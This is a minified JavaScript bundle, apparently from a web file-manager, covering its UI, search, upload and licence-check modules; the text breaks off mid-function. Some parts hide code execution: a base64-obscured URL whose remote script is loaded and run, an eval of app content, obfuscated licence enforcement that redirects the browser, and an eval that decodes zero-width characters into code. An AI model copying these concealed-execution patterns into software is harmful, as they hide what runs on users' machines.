G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=''+i+"
",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,i){var t="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(t="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof i&&i(e.data.content)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(i&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())
-},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+" ");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+" "+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(search_list_tpl);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&t.html(""+LNG.seach_result_too_more+" ")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,i,t){core.ajaxError(e,i,t),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;i=core.fileSize(a)+"/s"}if(0==t.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+i+")")}d.find(".size").text(core.fileSize(t.length)),d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(upload_tpl),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=1572864;chunkSize>=G.upload_max&&(chunkSize=.8*G.upload_max),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).find("span.title").attr("title");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i){var t=urlEncode(e.file.fullPath);(void 0==t||"undefined"==t)&&(t=""),i.fullPath=t,i.upload_to=e.file.upload_to}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(i),file_finished++;var t=e.serverData;if(t&&t.data){var a=LNG[t.data];t.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";e.serverData&&0==e.serverData.code&&(t=LNG[e.serverData.data],!t&&e.serverData.data&&(t=e.serverData.data),Tips.tips(t,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var 